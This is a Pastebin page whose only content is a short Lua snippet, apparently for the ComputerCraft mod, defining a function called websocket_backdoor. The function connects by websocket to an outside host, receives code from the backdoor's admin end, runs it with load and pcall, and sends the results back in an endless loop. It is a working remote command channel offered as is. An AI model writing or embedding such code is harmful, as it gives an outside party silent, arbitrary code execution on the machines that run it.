Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- local function safe_serialize(data)
- local ok, res = pcall(textutils.serialise, data)
- if ok then return res
- else return textutils.serialise(tostring(data)) end
- end
- local function websocket_backdoor()
- if not http or not http.websocket then return "Websockets do not actually exist on this platform" end
- local ws = http.websocket "wss://osmarks.tk/wsthing/ShutdownOS"
- local function send(msg)
- ws.send(safe_serialize(msg))
- end
- local function recv()
- return ws.receive()
- end
- while true do
- -- Receive and run code from backdoor's admin end
- local code = recv()
- local f, error = load(code, "@<backdoor>", "t")
- if f then -- run safely in background, send back response
- send {pcall(f)}
- else
- send {false, error}
- end
- end
- end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement